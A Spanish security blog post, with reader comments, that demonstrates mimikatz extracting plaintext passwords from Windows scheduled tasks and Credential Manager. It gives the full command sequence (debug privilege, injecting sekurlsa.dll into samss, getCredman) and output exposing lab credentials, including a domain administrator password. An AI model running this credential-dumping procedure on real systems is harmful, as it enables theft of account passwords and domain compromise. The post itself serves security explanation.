Obteniendo con mimikatz las contraseñas en texto plano de las tareas programadas y del administrador de credenciales de Windows

Si recordáis, a principios del año pasado vimos lo fácil que era recuperar contraseñas en claro mediante la herramienta mimikatz. Resumiendo un poco, si se disponen de permisos de debug sobre el proceso del LSASS, esta herramienta inyecta una librería y obtiene la contraseñas en claro de dos proveedores de autenticación por defecto (Tspkg y Wdigest) que almacenan las credenciales de los usuarios de forma reversible.

Ahora su autor, el francés Gentil Kiwi, implementa y nos demuestra como obtener también las contraseñas en claro de las tareas programadas y del administrador de credenciales de Windows (contraseñas almacenadas de acceso a recursos compartidos, unidades de red, escritorios remotos, etc.). 

Vamos a probarlo y para ello empezaremos creando una tarea programada de prueba con un usuario local del equipo:


Ahora ejecutaremos mimikatz como SYSTEM y probaremos el módulo 'divers::secrets':

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>d:

D:\>cd mimikatz_trunk\x64

D:\mimikatz_trunk\x64>mimikatz.exe
mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Jan  8 2013 03:21:59) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # system::user
Utilisateur : DOMINIO\W7PTVMOTOS$

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : Domain:batch=TaskScheduler:Task:{8969C678-9214-4D2F-96F2-A7F5A89491EF} / 
Type               : DOMAIN_PASSWORD (2)
Comment            : 
UserName           : DOMINIO\vmotos
Credential         : 

Como véis las credenciales se almacenan en formato contraseña de dominio (CRED_TYPE_DOMAIN_PASSWORD) y no se muestran porque sólo pueden ser leídas por paquetes de autenticación de Microsoft (NTLM, Kerberos y otros paquetes de negociación de autenticación).

Veamos que lo mismo ocurre con las contraseñas almacenadas en el administrador de credenciales:


mimikatz # system::user
Utilisateur : DOMINIO\vmotos

mimikatz # divers::secrets full
TargetName         : Domain:target=TERMSRV/192.168.137.23 / 
Type               : DOMAIN_PASSWORD (2)
Comment            : 
UserName           : DOMINIO\administrator
Credential         : 
Para obtener las contraseñas en este caso, mimikatz hace uso de CredIEnumerate (no documentado) que puede listar los secrets de una sesión en particular (no sólo la del usuario actual):
typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE)    (IN PLUID pLUID, IN DWORD unk0,    IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID,                IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);

Una vez identificadas, se extrae desde el administrador de credenciales mediante CrediReadDomainCredentials y se descifra el buffer de memoria mediante la función LsaUnprotectMemory. Para ello, lo que haremos en esta ocasión es inyectar la librería sekurlsa.dll dentro del servicio de Administrador de cuentas de seguridad (samss) para extraer los hashes de las contraseñas y los systems secrets. Posteriormente y mediante el método getCredman obtendremos las contraseñas en claro... el resultado es espectacular ;):
D:\mimikatz_trunk\x64>mimikatz.exe
mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Jan  8 2013 03:21:59) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # inject::service samss sekurlsa.dll
SERVICE(samss).serviceDisplayName = Administrador de cuentas de seguridad
SERVICE(samss).ServiceStatusProcess.dwProcessId = 676
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
                        Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurités dans LSASS

mimikatz # @getCredman full

Authentification Id         : 0;999
Package d'authentification  : Negotiate
Utilisateur principal       : W7PTVMOTOS$
Domaine d'authentification  : DOMINIO
        credman :
         * [0] Target   : Domain:batch=TaskScheduler:Task:{8969C678-9214-4D2F-96F2-A7F5A89491EF} / 
         * [0] Comment  : 
         * [0] User     : DOMINIO\vmotos
               [0] User : DOMINIO\vmotos
               [0] Cred : Prueba123

Authentification Id         : 0;12663081
Package d'authentification  : Kerberos
Utilisateur principal       : vmotos
Domaine d'authentification  : DOMINIO
        credman :
         * [1] Target   : Domain:target=TERMSRV/192.168.137.23 / 
         * [1] Comment  : 
         * [1] User     : DOMINIO\administrator
               [0] User : DOMINIO\administrator
               [0] Cred : Prueba123

mimikatz #

Fuente: http://blog.gentilkiwi.com/securite/mimikatz/sekurlsa-credman

Comentarios

  1. gracias, excelente aporte, me salvó la vida!!!

    ResponderEliminar
  2. Excelente aporte, podrian pasar el link para descargarlo se los agradeceria mucho, saludos

    ResponderEliminar
  3. si es en windows 8 o superior y con cuenta de microsoft funciona tambien?

    ResponderEliminar
  4. Porfa, tutorial para win 8 o por lo menos quisiera saber si funciona para win 8.1

    ResponderEliminar

Publicar un comentario